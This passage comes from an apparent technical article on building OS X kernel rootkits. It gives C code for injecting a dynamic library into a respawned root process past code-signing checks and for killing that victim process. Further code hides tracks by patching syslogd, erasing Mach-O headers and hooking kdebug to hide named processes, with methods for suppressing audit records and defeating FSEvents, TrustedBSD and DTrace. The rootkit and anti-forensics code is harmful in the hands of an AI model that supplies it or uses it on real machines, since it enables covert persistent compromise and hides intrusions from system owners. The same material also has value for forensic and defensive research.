| Load Commands | | Load Commands | ...

| .‑‑‑‑‑‑‑‑‑‑‑‑‑. | | .‑‑‑‑‑‑‑‑‑‑uint32_t ncmds; <‑ fix

| | Command 1 | | | | Command 1 | | uint32_t sizeofcmds;<‑ fix

| |‑‑‑‑‑‑‑‑‑‑‑‑‑| | | |‑‑‑‑‑‑‑‑‑‑

| | Command 2 | | | | Command 2 | | };

| |‑‑‑‑‑‑‑‑‑‑‑‑‑| | | |‑‑‑‑‑‑‑‑‑‑

| | ... | | | | ...

| |‑‑‑‑‑‑‑‑‑‑‑‑‑| | | |‑‑‑‑‑‑‑‑‑‑

| | Command n | | | | Command n | |

| `‑‑‑‑‑‑‑‑‑‑‑‑‑ | | |‑‑‑‑‑‑‑‑‑‑‑

| |‑‑‑‑>| | Command n+1 | |<‑ add new command here

| |‑‑‑‑>| `‑‑‑‑‑‑‑‑‑‑struct dylib_command {

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑>|‑‑‑‑‑‑‑‑‑‑‑‑‑uint32_t cmd;

| Data |‑‑‑‑>| Data | uint32_t cmdsize;

| .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. |‑‑‑‑>| .‑‑‑‑‑‑‑‑‑‑‑struct dylib dylib;

| | | Section 1 | |‑‑‑‑>| | | Section 1 | | };

| | 1 |‑‑‑‑‑‑‑‑‑‑‑| | | | 1 |‑‑‑‑‑‑‑‑‑‑‑| |

| | | Section 2 | | | | | Section 2 | |

| `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | | `‑‑‑‑‑‑‑‑‑‑‑‑

| .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. | | .‑‑‑‑‑‑‑‑‑‑‑

| | | Section 1 | | | | | Section 1 | |

| | 2 |‑‑‑‑‑‑‑‑‑‑‑| | | | 2 |‑‑‑‑‑‑‑‑‑‑‑| |

| | | Section 2 | | | | | Section 2 | |

| `‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ | | `‑‑‑‑‑‑‑‑‑‑‑‑

| ... | | ...

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ `‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are other methods to inject the library if there is not enough space. One that requires only 24 bytes is described at [16].

This approach has one interesting advantage ‑ it is not detectable by code signing because the injection occurs after its checks and flags are set. This is the code that sets the flags:

/*

* Set code‑signing flags if this binary is signed, or if parent has * requested them on exec.

*/

if (load_result.csflags & CS_VALID) { imgp‑>ip_csflags |= load_result.csflags & (CS_VALID| CS_HARD|CS_KILL|CS_EXEC_SET_HARD|CS_EXEC_SET_KILL); } else {

imgp‑>ip_csflags &= ~CS_VALID;

}

if (p‑>p_csflags & CS_EXEC_SET_HARD) imgp‑>ip_csflags |= CS_HARD;

if (p‑>p_csflags & CS_EXEC_SET_KILL) imgp‑>ip_csflags |= CS_KILL;

The code snippet is from exec_mach_imgact() and located well before our two candidate functions described in section 4.3. Code signing does not kill immediately the process. The flags are verified later and a kill signal sent if code signing was configured to exit on failure (which we can also modify here).

The only puzzle piece left is which process should we use and how to kill it. There are many root processes controlled by launchd so it is just a matter of selecting one with invisible and/or small impact. Spotlight is for example a good candidate. A code snippet to do the killing:

proc_t victim = proc_find(TARGET_PID);

if (victim != PROC_NULL)

{

// we need to release reference count from proc_find() before kill

proc_rele(kill);

// now we can kill the process or use SIGSEV coz' Spotlight crashes,

// right? :‑)

psignal(kill, SIGKILL);

}

When launchd respawns the process, we can intercept it at exec_mach_imgact() and do our magic. The rest is responsibility of the dynamic library.

‑‑‑‑[ 4.5 ‑ The dynamic library

The dynamic library is very easy to create if you use the Xcode template (oh the drama, hackers use Makefiles!) or just Google for a simple Makefile.

To execute the library code you can add an entrypoint via a constructor:

extern void init(void) __attribute__ ((constructor));

void init(void)

{

// do evil stuff here

}

init will be executed as soon as the library is loaded. Another way could be by modifying the injected process symbol stub and redirect to an entrypoint function inside the library. While the symbol stub modification could be made from the kernel, we do not know yet where library will be loaded so it is harder to execute this. For example, it could be delayed by hijacking a syscall, wait for its execution and then modify a symbol. The downside is more time for detection as explained in next section. Honestly I have not thought much about this case.

To execute commands from the library it is just a matter of fork'ing and exec'ing whatever command we need. We can also create a new thread (or multiple) to leave a resident backdoor and so on. Or just execute the command we need and clean up ourselves to leave no traces.

It is up to you and your particular requirements and imagination :‑).

‑‑‑‑[ 4.6 ‑ Hiding our tracks

By principle, a rootkit should be as stealth as possible ‑ we need to cover our tracks to the maximum possible extent. Let me discuss a few problems and potential solutions with the previously described approaches.

The first one is that we need to restart a target process. This will leave an immediate clue on a (potentially very) higher PID, depending when the method is used (near startup it is ok).

Another clue is that we are sending a signal to the target process and syslogd will capture it. Instead of a kill we could send a SIGSEGV (Apple's software has bugs, right?), or just temporarily memory patch syslogd daemon to avoid logging our little trick. Different possibilities to solve this problem!

The SIGSEGV is particularly interesting since the resulting crash dump has no useful information and it only leaves this log trail:

12/21/12 3:27:13.093 AM com.apple.launchd[1]: (com.apple.metadata.mds[277]) Job appears to have crashed: Segmentation fault: 11

Patching (temporarily or not) syslogd is rather easy to accomplish. Looking at Apple's syslogd source we can find the following function in syslogd/daemon.c:

void process_message(aslmsg msg, uint32_t source)

Near the end it has this code:

/* send message to output modules */

asl_out_message(msg);

if (global.bsd_out_enabled) bsd_out_message(msg);

The asl_out_message() appears to be the interesting place to patch. To quickly test this theory we can attach gdb to syslogd (warning, ASLR enabled), and patch that function. We need to search the function address because there are no debug symbols available.

Let's look at its implementation:

void asl_out_message(aslmsg msg)

{

dispatch_flush_continuation_cache(); asl_msg_retain((asl_msg_t *)msg); dispatch_async(asl_action_queue, ^{ _asl_action_message(msg); asl_msg_release((asl_msg_t *)msg);

});

}

There are two external symbols, dispatch_flush_continuation_cache() and asl_msg_retain(). The former has only a reference and the latter two. To find the location of asl_out_message() we just need to find out the proc_t for syslogd process, read and process its symbol table (we can read from memory or filesystem), correct for ASLR slide, and find the address of the stub. Since this is not IDA we can't easily find the cross‑references (oh, IDA spoils us).

What we can do is search in the binary the calls to the symbol stub (it is a relative offset call). Even easier (and probably faster) is to disassemble and match the address of the call with the stub the disassembler will output the final address.

After we have the address where dispatch_flush_continuation_cache() is called from we just need to find the function prologue and patch it with a ret (function return is void so no need for xor eax,rax). We can then restore the original byte after we execute our command. Another function, bsd_out_message() might need to be patched, but I leave that task to you, the reader.

Another alternative is to try to recycle the PID that was killed. The forkproc() function is the one that allocates the new PID for the child. Might be interesting to research and explore this alternative. You also might want to reorder the proc list and move the new element to the original location instead of being in newer location. Many possibilities to hide and try to detect the rootkit actions. That is why it is fun!

The next issue is that process memory will have our injected library so we want to remove it as soon as possible. I did some interesting work in this area but NDA oblige and can't disclose it. It can be done and you should think about it, or just use a brute approach and kill the process again and this time do not inject anything. Whatever works :‑)

There is no need to have a resident library somewhere at the filesystem ready to be discovered. We can read and write from and to anywhere the filesystem so we can store the library code encrypted inside the kernel module or store it somewhere else, for example in a sqlite3 database (there are so many spread all over OS X). Before the injection we can unpack it somewhere, execute it, and then remove when not needed anymore.

One thing I had no time to verify if the impact from Spotlight if we use the unpacking to filesystem approach. It might be able to detect the new file and store in its database, so we must be careful over here.

‑‑[ 5 ‑ Revisiting userland<‑>kernel communication

Fortunately there are many options to establish communication between kernel and userland applications in OS X. The sysctl interface previously presented [1] is easy to implement but it is too cumbersome to transfer large amounts of data. Let me present you additional options.

‑‑‑‑[ 5.1 ‑ Character devices and ioctl

The easiest way to have userland<‑>kernel communication is to create a character device and use the ioctl interface to control it. We just need to create and register the new device and add the necessary entry point functions.

It all starts with the structure cdevsw:

/*

* Character device switch table

*/

struct cdevsw {

open_close_fcn_t *d_open;

open_close_fcn_t *d_close;

read_write_fcn_t *d_read;

read_write_fcn_t *d_write;

ioctl_fcn_t *d_ioctl;

stop_fcn_t *d_stop;

reset_fcn_t *d_reset;

struct tty **d_ttys;

select_fcn_t *d_select;

mmap_fcn_t *d_mmap;

strategy_fcn_t *d_strategy;

void *d_reserved_1;

void *d_reserved_2;

int d_type;

};

The most interesting entrypoints for our purposes are open, close, ioctl. If you are interested in using this communication channel, you probably should think about encrypting it or some kind of authentication method. OS.X/Crisis has no authentication whatsoever so anyone can send commands to the kernel rootkit after (easily) finding all the possible ioctl commands.

The code is very simple so there is no point in discussing it here. The provided source code implements this and kernel control so you can browse it and verify how it is done.

Besides the problems with encryption, authentication and ioctl commands reversing, this solution creates a new character device that needs to be hidden or else it will be too easy to detect. And then we have additional traces inside the kernel structures that need to be hidden, creating a vicious circle (rootkits are a vicious circle of hide & seek and that is why they can be so fun to write about).

‑‑‑‑[ 5.2 ‑ Kernel Control KPI

The kernel control KPI is interesting because it allows bidirectional communication with userland and transfer of large amounts of data. Its implementation is rather simple via a regular socket (PF_SYSTEM). Apple's reference documentation can be found at [17] and sample code at [18].

A kernel extension is responsible for creating the socket and the userland part will read and send data to that same socket (socket access can be restricted to privileged users or everyone).

The kernel implementation is done by registering a control structure kern_ctl_reg defined at bsd/sys/kern_control.h. From Apple's example:

// the reverse dns name to be used between kernel and userland

#define BUNDLE_ID "put.as.hydra"

static struct kern_ctl_reg g_ctl_reg = {

BUNDLE_ID, /* use a reverse dns name */

0, /* set to 0 for dynamically assigned control ID */

0, /* ctl_unit ‑ ignored when CTL_FLAG_REG_ID_UNIT not set */

/* privileged access required to access this filter */

CTL_FLAG_PRIVILEGED,

0, /* use default send size buffer */

0, /* Override receive buffer size */

ctl_connect, /* Called when a connection request is accepted */

ctl_disconnect, /* called when a connection becomes disconnected */

NULL, /* handles data sent from the client to kernel control */

ctl_set, /* called when the user process makes the setsockopt call */

ctl_get /* called when the user process makes the getsockopt call */

};

The connect and disconnect functions handle userland connections. When a new connection is established we need to retain the unit id and control reference ‑ they are required for sending data and removing the kernel control.

The ctl_get function handles the communication from kernel to userland sends data to the socket when client requests it, and ctl_set handles data from userland to kernel. The kernel data to be sent to userland should be enqueued using ctl_enqueuedata() (this is where we need the unit id and control reference).

A quick example of a function to enqueue the PID of a process:

static u_int32_t gClientUnit = 0;

static kern_ctl_ref gClientCtlRef = NULL;

/*

* get data ready for userland to grab

* send PID of the suspended process and let the userland daemon do the * rest

*/

kern_return_t

queue_userland_data(pid_t pid)

{

errno_t error = 0;

if (gClientCtlRef == NULL) return KERN_FAILURE;

error = ctl_enqueuedata(gClientCtlRef, gClientUnit, &pid, sizeof(pid_t), 0);

if (error) printf("[ERROR] ctl_enqueuedata failed with error: %d\n", error);

return error;

}

Another important detail is about the control ID. Since the recommended way is to use a dynamically assigned control ID, the userland client needs somehow to retrieve it. This can be done using a ioctl request (the reverse dns name must be shared between the kernel and userland).

int gSocket = ‑1;

struct ctl_info ctl_info;

struct sockaddr_ctl sc;

gSocket = socket(PF_SYSTEM, SOCK_DGRAM, SYSPROTO_CONTROL);

// the control ID is dynamically generated so we must obtain sc_id using

// ioctl

memset(&ctl_info, 0, sizeof(ctl_info)); strncpy(ctl_info.ctl_name, "put.as.hydra", MAX_KCTL_NAME); ctl_info.ctl_name[MAX_KCTL_NAME‑1] = '\0';

if (ioctl(gSocket, CTLIOCGINFO, &ctl_info) == ‑1)

{

perror("ioctl CTLIOCGINFO");

exit(1);

}

else

printf("ctl_id: 0x%x for ctl_name: %s\n", ctl_info.ctl_id, ctl_info.ctl_name);

// build the sockaddr control structure and finally connect to the socket

bzero(&sc, sizeof(struct sockaddr_ctl));

sc.sc_len = sizeof(struct sockaddr_ctl);

sc.sc_family = AF_SYSTEM;

sc.ss_sysaddr = AF_SYS_CONTROL;

sc.sc_id = ctl_info.ctl_id;

sc.sc_unit = 0;

ret = connect(gSocket, (struct sockaddr*)&sc, sizeof(sc));

After connection to the socket is established, the userland client can send data using setsockopt() and receive with recv(). The remaining implementation details are easy to understand by reading Apple's referenced sample code.

This communication channel might not be that interesting for rootkit'ing purposes because it requires additional effort to hide, in particular the socket information that can be explored by memory forensic tools. If commercial spyware is using character devices for communication then we can't forget this possibility when analysing a potentially compromised machine.

Nevertheless it can be interesting for other purposes. As an example, I created a PoC (to be released later) to stop certain processes when they are created ( p‑>p_stat = SSTOP) and communicate their PID to a userland daemon. The userland daemon attaches to the process and modifies whatever it needs. In this particular case it is used to patch code signed applications without needing to resign and patch any checksum checks. We already saw that OS X code‑signining verifications are done before the process is stopped and do not detect these modifications (application own run‑time code checksum checks are another story!). It is not the best solution but just a nice set of tricks and demo usage of this communication channel.

‑‑‑‑[ 5.3 ‑ Alternative channels

The two presented solutions are easy to setup and use but also easy to detect. Their main problem is that they leave "permanent" traces that need to be hidden (kernel structures for example). This increases rootkit's complexity and chances of being detected.

Covert channels are a lot more appropriate and a lot has been written about them. Since it is so easy to use almost any kernel function, the possibilities to be creative in this department are much higher. Data can be stealthy read and written anywhere in the filesystem, bypassing many detection and instrumentation mechanisms as it will be shown next. At the limit there is no real need for a direct communication channel! For example, data can be encoded in a binary and intercepted when it is executed. The possibilities are really endless. This very short section is just a reminder that rootkit design can be different from what is usually done and that you should think about it, whether you belong to the offensive or defensive side.

‑‑[ 6 ‑ Anti‑forensics

Mac OS X kernel is instrumentation rich, featuring DTrace and others. These can assist in rootkit uncloaking. Memory forensics is also playing an important role these days in malware detection and analysis. This section goal is to present some ideas on how to attack or hide from these technologies. It is not an exhaustive list but it tries to cover the main ones. OS X kernel is still big and full of interesting places to be explored. Keep that in mind! Due to time constraints it is not possible to write about fooling/defeating the memory forensics tools as I initially planned. It was somewhat similar to what was presented at 29C3 in Defeating Windows memory forensics presentation [33] and other similar work presented in the past.

‑‑‑‑[ 6.1 ‑ Cheap tricks to reduce our footprint

An extremely easy trick to pull without any side consequences for us is to remove the Mach‑O header from process's memory. A memory dump will require additional effort to find and rebuild the original binary (harder in userland binaries, simpler in kernel extensions). Do not forget that Mach‑O header permissions are R‑X so make it writable first.

Kernel extensions must have a start and stop function. Their prototype specifies a kmod_info_t structure as first parameter. It is part of a linked list of all loaded kernel extensions (used to hide the rootkit from kextstat but now marked deprecated) and contains a very useful field to apply this cheap trick.

typedef struct kmod_info {

struct kmod_info * next;

int32_t info_version; // version of this structure

uint32_t id;

char name[KMOD_MAX_NAME];

char version[KMOD_MAX_NAME];

int32_t reference_count; // # linkage refs to this

kmod_reference_t * reference_list; // who this refs (links on)

vm_address_t address; // starting address

vm_size_t size; // total size

vm_size_t hdr_size; // unwired hdr size

kmod_start_func_t * start;

kmod_stop_func_t * stop;

} kmod_info_t;

The "address" field contains the starting address of the currently loaded kext, including the ASLR slide (kernel and kernel extensions Mach‑O header values include the current kernel ASLR slide). With this information we just need to find out the total size of the header and nuke it:

int nuke_mach_header(mach_vm_address_t address)

{

struct mach_header *mh = (struct mach_header_64*)address; uint32_t header_size = 0;

if (mh‑>magic == MH_MAGIC_64)

{

header_size = mh‑>sizeofcmds + sizeof(struct mach_header_64); }

else return 1;

// we have total header size and startup address

// disable CR0 write protection

disable_wp();

memset((void*)my_address, 0, header_size); enable_wp();

return 0;

}

Instead of just zero'ing the header you could fill it with random junk data for fun. You can even mangle data from the other commands (LINKEDIT, LC_SYMTAB, LC_DYSYMTAB, LC_UUID). For example, there are no symbol stubs in kernel ‑ symbols are solved when kernel extension is loaded and calls are made directly to the referenced symbol. This is a problem because it can be used to detect valid code and get hints on what it is trying to do. One can generate a table of all kernel symbols and use it to find cross references in kernel memory and dump that code.

Function pointers can help to hide our code ‑ the question is how easy or not it is to bootstrap the rootkit to search the required symbols. One solution can be to use the techniques described before to find the symbols and then mangle the bootstrap code ‑ only leave in memory code using function pointers. Be creative, try to reduce your footprint to the maximum :‑).

‑‑‑‑[ 6.2 ‑ Attacking DTrace and other instrumentation features

Mac OS X has many instrumentation features available. There are at least DTrace, FSEvents, Kauth, kdebug, and TrustedBSD. TrustedBSD's original goal is not instrumentation related but can be used (or abused) for this purpose. Kauth is explored in Section 6.3 with AV‑Monster II, while all the others in the next subsections.

‑‑‑‑‑‑[ 6.2.1 ‑ FSEvents

FSEvents is an API for file system notification. Applications register for events that are interested in and receive them via /dev/fsevents. A file system monitor can be built on top of this ‑ the usual suspects [13] and [14] offer a good explanation about its internals and code samples. Jonathan Levin has a "filemon" tool available at his book companion web site.

The responsibility to add the events belongs to the function add_fsevent() [bsd/vfs/vfs_fsevents.c]. It is a bit long vararg function and I do not want to spend space and time analysing it. Amit Singh has a nice figure on page 1421 of [14] with functions that add events. For example, the open syscall can generate a file create event (FSE_CREATE_FILE).

The next diagram shows the how the event is added:

open() ‑> open_nocancel() ‑> open1() [bsd/vfs/vfs_syscalls.c]

|

v

[bsd/vfs/vfs_vnops.c] vn_open_auth() ‑> vn_open_auth_do_create()

v

[bsd/vfs/vfs_fsevents.c] add_fsevent() <‑ need_fsevent()

In this particular case we could hijack need_fsevent(), match the file we want to hide and return 0 to avoid event generation. In many cases there is a direct call to add_fsevent() so we also need to hijack it. Inside our new function we need to retrieve the necessary information to match the event we want to hide and return EINVAL or 0 in those cases. You should study the add_fsevent() function to understand how to implement this. I do not think there is much value in describing it here ‑ there are more (interesting) topics to cover.

‑‑‑‑‑‑[ 6.2.2 ‑ kdebug

kdebug is another (rather obscure) kernel trace facility used only by Apple utils such as fs_usage and sc_usage. Documentation is poor and the best references are those utils source code and a few pages by Levin [13]. The relevant include file is bsd/sys/kdebug.h. kdebug is implemented in kernel functions that might produce relevant events using KERNEL_DEBUG() macro. The kernel functions involved (in that macro) are kernel_debug() and kernel_debug_internal() (with always inline attribute).

A 32 bits integer is used for the debug messages, with the following format:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | Func |

| Class (8) | SubClass (8) | Code (14) |Qual(2)|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For example, filesystem operations use class DBG_FSYSTEM (3) and different subclasses to filter between different operations such as read and writes to filesystem, vnode operations, HFS events, etc (consult kdebug.h include).

Macros exist to encode the integer for each available class. Using BSD class as an example:

#define KDBG_CODE(Class, SubClass, code) (((Class & 0xff) << 24) | ((SubClass & 0xff) << 16) | ((code & 0x3fff) << 2))

#define BSDDBG_CODE(SubClass, code) KDBG_CODE(DBG_BSD, SubClass, code)

Grep'ing XNU source code for BSDDBG_CODE will show where kdebug is implemented in all BSD related functions. The fs_usage util traces the file system related system calls (its source is located in system_cmds‑550.10 package). For example, it contains the following code for open() syscall:

#define BSC_open 0x040C0014

If we look at kdebug's include we have the following Class and SubClass codes:

#define DBG_BSD 4

#define DBG_BSD_EXCP_SC 0x0C /* System Calls */

Open is syscall #5 and it matches the code: (0x040C0014 & 0x3FFF) >> 2 = 0x5

Grep'ing for the DBG_BSD_EXCP_SC SubClass will land us into bsd/dev/i386/systemcalls.c ‑ the file that implements the C portion of syscalls code. kdebug's tracing of syscalls entry and exit can be found at unix_syscall64 using two macros that call kernel_debug():

(...)

KERNEL_DEBUG_CONSTANT_IST(KDEBUG_TRACE, BSDDBG_CODE(DBG_BSD_EXCP_SC, code) | DBG_FUNC_START, (int)(*ip), (int)(*(ip+1)), (int)(*(ip+2)), (int)(*(ip+3)), 0);

(...)

error = (*(callp‑>sy_call))((void *) p, uargp, &(uthread‑>uu_rval[0])); (...)

KERNEL_DEBUG_CONSTANT_IST(KDEBUG_TRACE, BSDDBG_CODE(DBG_BSD_EXCP_SC, code) | DBG_FUNC_END, error, uthread‑>uu_rval[0], uthread‑>uu_rval[1], p‑>p_pid, 0); (...)

The easiest way to disable tracing of BSD related functions (besides patching kernel_debug to just return) is to modify the calls to kernel_debug() and reroute them to our own function. The disassembler makes this extremely easy, so much that I implemented code for each call to kernel_debug() to have its own trampoline (there is really no need for such thing!). Sample function to disable all BSD syscall traces:

void

tfc_kernel_debug(uint32_t debugid, uintptr_t arg1, uintptr_t arg2, uintptr_t arg3, uintptr_t arg4, __unused uintptr_t arg5)

{

// solve the symbol of the original function

static void (*_kernel_debug)(uint32_t debugid, uintptr_t arg1, uintptr_t arg2, uintptr_t arg3, uintptr_t arg4,

__unused uintptr_t arg5) = NULL;

if (_kernel_debug == NULL)

_kernel_debug = (void*)solve_kernel_symbol(&g_kernel_info, "_kernel_debug");

// do not let fs_usage/sc_usage trace any BSD* system calls

if ( (debugid >> 24) == DBG_BSD) return;

else _kernel_debug(debugid, arg1, arg2, arg3, arg4, 0);

}

This patch will be suspicious when fs_usage and/or sc_usage are used because no BSD system calls will be traced and screen output will be very low. kdebug's implementation poses some problems to distinguish between cases to hide or not. Its buffers are very small and this is easily noticed if you peak at fs_usage or sc_usage code (verify the lookup() [bsd/vfs/vfs_lookup.c] kernel function to see how fs_usage gets the path name for syscalls such as open()).

Fortunately for us there is a easy way to accomplish this using current_proc() ‑ it returns a proc structure for the currently executing process. With this information we can retrieve the process name from the proc structure (p_comm field, max size 16) and match against the processes we do not want traced. A code snippet for a simple check to hide vmware‑tools‑daemon:

struct proc *p = current_proc();

// MAXCOMLEN == 16, we could hash always to MAXCOMLEN to avoid strlen call

uint32_t hash = hash_name(&p‑>p_comm[0], strlen(&p‑>p_comm[0])); static uint32_t hidehash = 0;

if (hidehash == 0) hidehash = hash_name("vmware‑tools‑daemon", MAXCOMLEN); if (hash == hidehash ) return;

else _kernel_debug(debugid, arg1, arg2, arg3, arg4, 0);

The basic blocks to override kdebug are presented, implementation details are left to the attached sample code and to you.

One final word of caution. The interception of Mach syscalls at kdebug gives some problems and the hooking is very unstable (read kernel panics). This is particularly exacerbated with the zombies rootkit feature later described. The attached code has been written to support that feature but at time of writing I still had no time to research the Mach problem ‑ the code just ignores that class.

‑‑‑‑‑‑[ 6.2.3 ‑ TrustedBSD

TrustedBSD is a project that started in FreeBSD and was ported to OS X in Leopard. It enables a series of (interesting) security features, the most famous one being the OS X/iOS sandbox. Its implementation is done by adding "hooks" in critical kernel functions. Policy modules can be written to receive events from these "hooks" and act on them if necessary/desirable.

One easy application is to create a runtime file system checker for critical folders. The app monitors LaunchDaemons and notify the user if a new file was added in there, which is a not so frequent operation and a favourite spot for malware to make itself persistent (oh, this was a good opportunity to use APT buzzword!). It can be used for evil purposes the same "hooks" can increase privileges or hide files [25].

Using an example with the open syscall (to be used later with in Kauth section):

open() ‑> open_nocancel() ‑> open1()

|

v

vn_open_auth() ‑> vn_authorize_open_existing()

v

mac_vnode_check_open()

v

MAC_CHECK()

v

call policy, if registered

The vnode check handler that we can install has the following prototype:

typedef int mpo_vnode_check_open_t(

kauth_cred_t cred,

struct vnode *vp,

struct label *label,

int acc_mode);

Our handler will receive a pointer to the vnode structure and make it possible to dump the filename and even transverse the full path (remember that vnodes exist in a linked list).

MAC_CHECK() is a macro that will route the request to the policy modules. It is a bit like sysent table where there is a list called mac_policy_list that holds function pointers. A presentation by Andrew Case on Mac memory forensics [26] analyses how to find malicious TrustedBSD modules using this list against a sample I created (rex the wonder dog). It is worth to check his slides for other Mac memory forensics tips.

The available policy checks can be found at bsd/security/mac_framework.h, and their implementation is in the different source files in the same folder. What interests us is that mac_* functions are always called so there is a point of entry that can be used. The mac_* functions contain all the necessary/available information since they are the ones always calling and passing the parameters to the policy modules via MAC_CHECK() macro.

To attack this we can use the same old story: hook those functions, or attack the mac_policy_list using the syscall handler concept, or something else. When loading the rootkit it might also be useful to lookup the policy list to verify if there is anything else installed other than default modules. The system owner might be a bit smarter than the vast majority ;‑).

‑‑‑‑‑‑[ 6.2.4 ‑ Auditing ‑ Basic Security Module

The auditing features available from the Basic Security Module Implementation are not really instrumentation but since their purpose is to track user and process actions we should be interested in understanding and tweak them to our evil purposes.

Auditing is not fully enabled by default due to its (potentially) considerable performance hit and disk space usage (oh, I miss those PCI‑DSS meetings). To modify its configuration you need to edit /etc/security/audit_control. The two interesting fields are flags and naflags (flags for events that can be matched to a user, naflags for those who can't). Event classes are defined in /etc/security/audit_class (description can be found at [27] and [28]). For example, if "pc" class is configured audit will log exec() and its arguments.

Let's move to what really matters for us, evil stuff! Auditing is implemented with macros [bsd/security/audit/audit.h] inside BSD and Mach system calls (and some other places). The following code snippet is from unix_syscall64 implementation, where entry and exit macros are placed before the syscall function to be executed is called:

AUDIT_SYSCALL_ENTER(code, p, uthread);

error = (*(callp‑>sy_call))((void *) p, uargp, &(uthread‑>uu_rval[0])); AUDIT_SYSCALL_EXIT(code, p, uthread, error);

About the contents of entry macro:

/*

* audit_syscall_enter() is called on entry to each system call. It is * responsible for deciding whether or not to audit the call * (preselection), and if so, allocating a per‑thread audit record. * audit_new() will fill in basic thread/credential properties. */

The exit macro is the interesting one because it calls audit_syscall_exit():

/*

* audit_syscall_exit() is called from the return of every system call, or * in the event of exit1(), during the execution of exit1(). It is * responsible for committing the audit record, if any, along with return * condition.

*/

When committed, the audit record will be added to an audit queue and removed from the user thread structure (struct uthread, field uu_ar [bsd/sys/user.h]).

void

audit_syscall_exit(unsigned int code, int error, __unused proc_t proc, struct uthread *uthread) {

(...)

audit_commit(uthread‑>uu_ar, error, retval);

out:

uthread‑>uu_ar = NULL;

}

The commit function:

void audit_commit(struct kaudit_record *ar, int error, int retval) { (..)

TAILQ_INSERT_TAIL(&audit_q, ar, k_q); // add to queue

audit_q_len++;

audit_pre_q_len‑‑;

cv_signal(&audit_worker_cv); // signal worker who commits to disk

mtx_unlock(&audit_mtx);

}

By default in OS X, almost everything is disabled excepting logging and authentication to obtain higher privileges. The command "praudit /dev/auditpipe" (as root, of course) can be used to live audit events. Run the command and login via ssh, or lock and unlock the console to see these events.

Syscall exit or audit commit functions can be temporarily patched to test if they are the right places, and yes they are. Removing the call to audit_commit() or patching it with a ret removes any trace of audit events in logs. There are four references to commit in OS X 10.8.2 (3 calls, 1 jump):

‑ audit_syscall_exit

‑ audit_mach_syscall_exit

‑ audit_proc_coredump

‑ audit_session_event

To have granular control over the auditing process is a bit more complicated. There is not always enough information available to distinguish between the cases we want to hide at audit_commit(). For example, if process auditing is enabled, the fork1() function calls audit like this: AUDIT_ARG(pid, child_proc‑>p_pid);

This will call the function responsible to set the audit record field:

void audit_arg_pid(struct kaudit_record *ar, pid_t pid)

{

ar‑>k_ar.ar_arg_pid = pid;

ARG_SET_VALID(ar, ARG_PID);

}

The problem here is that we do not have (yet) enough information about this fork; we are not sure (yet) if it is the process we want to hide or some other process. A different tactic must be used! Because there is an events queue we can hijack the worker responsible for those commits to disk, audit_worker() [bsd/security/audit/audit_worker.c].

The missing piece is how to correlate all events we are interested in. Luckily for us (and the auditor in particular) there is a session id in audit record structure [bsd/security/audit/audit_private.h]:

pid_t ar_subj_asid; /* Audit session ID */

With this information we just need to hold the queue commit to disk until enough information to find the correct session ID is available. When we have it we can edit the queue and remove all the entries that match that session ID.

Last but not least, there is a critical task left! Auditing logs must be cleaned in case auditing was already properly configured. The bad news is that you will have to do this dirty work yourself. Do not forget that the logs are in binary format and OpenBSM's source at [29] can be helpful (praudit outputs XML format so it might be a good starting point).

‑‑‑‑‑‑[ 6.2.5 ‑ DTrace

DTrace is a fantastic dynamic tracing framework introduced by Sun in Solaris and available in Mac OS X since Leopard. It can be used to trace in real‑time almost every corner of kernel and user processes with minimum performance impact. An experienced system administrator can use its power to assist in discovering strange (aka malicious) behaviour. There are different providers that can trace almost every function entry and exit, BSD syscalls and Mach traps, specific process, virtual memory, and so on. The two most powerful providers against rootkits are syscall and fbt (function boundary). We will see how they are implemented and how to modify them to hide rootkit activity. A good design and implementation overview is provided by [23] (Google is your friend) and usage guide at [24].

‑‑‑‑‑‑[ 6.2.5.1 ‑ syscall provider

This provider allows to trace every BSD system call entry and return (the provider for Mach traps is mach_trap). A quick example that prints the path argument being passed to the open() syscall:

# dtrace ‑n 'syscall::open:entry

{

printf("opening %s", copyinstr(arg0));

}'

dtrace: description 'syscall::open:entry' matched 1 probe

CPU ID FUNCTION:NAME

0 119 open:entry opening /dev/dtracehelper 0 119 open:entry opening /usr/share/terminfo/78/xterm‑256color

0 119 open:entry opening /dev/tty 0 119 open:entry opening /etc/pf.conf

The syscall provider is useful to detect syscall handler manipulation but not the function pointers modification at sysent table. To understand why let's delve into its implementation.

This provider is implemented by rewriting the system call table when a probe is enabled, which in practice is the same operation as sysent hooking. The interesting source file is bsd/dev/dtrace/systrace.c. It contains a global pointer called systrace_sysent ‑ a DTrace related structure that will hold the original system call pointer and some other info.

Things start happening at systrace_provide(). Here systrace_sysent is allocated and all necessary information copied from the original sysent table (systrace_init). Then internal DTrace probe information is added.

DTrace's philosophy is of zero probe effect when disabled so there are functions that replace and restore the sysent table entries. There is a struct called dtrace_pops_t which contains provider's operations. Syscall provider has the following:

static dtrace_pops_t systrace_pops = { systrace_provide,

NULL,

systrace_enable,

systrace_disable,

NULL,

NULL,

NULL,

systrace_getarg,

NULL,

systrace_destroy

};

systrace_enable() will modify sysent function pointers and redirect them to dtrace_systrace_syscall(). Code snippet responsible for this:

(...)

lck_mtx_lock(&dtrace_systrace_lock);

if (sysent[sysnum].sy_callc == systrace_sysent[sysnum].stsy_underlying) {

vm_offset_t dss = (vm_offset_t)&dtrace_systrace_syscall; ml_nofault_copy((vm_offset_t)&dss,

(vm_offset_t)&sysent[sysnum].sy_callc, sizeof(vm_offset_t)); }

lck_mtx_unlock(&dtrace_systrace_lock);

(...)

Attaching a kernel debugger and inserting a breakpoint on systrace_enable() confirms this (keep in mind all these values include ASLR slide of 0x24a00000):

Before:

gdb$ print *(struct sysent*)(0xffffff8025255840+5*sizeof(struct sysent)) $12 = {

sy_narg = 0x3,

sy_resv = 0x0,

sy_flags = 0x0,

sy_call = 0xffffff8024cfc210, <‑ open syscall, sysent[5] sy_arg_munge32 = 0xffffff8024fe34f0,

sy_arg_munge64 = 0,
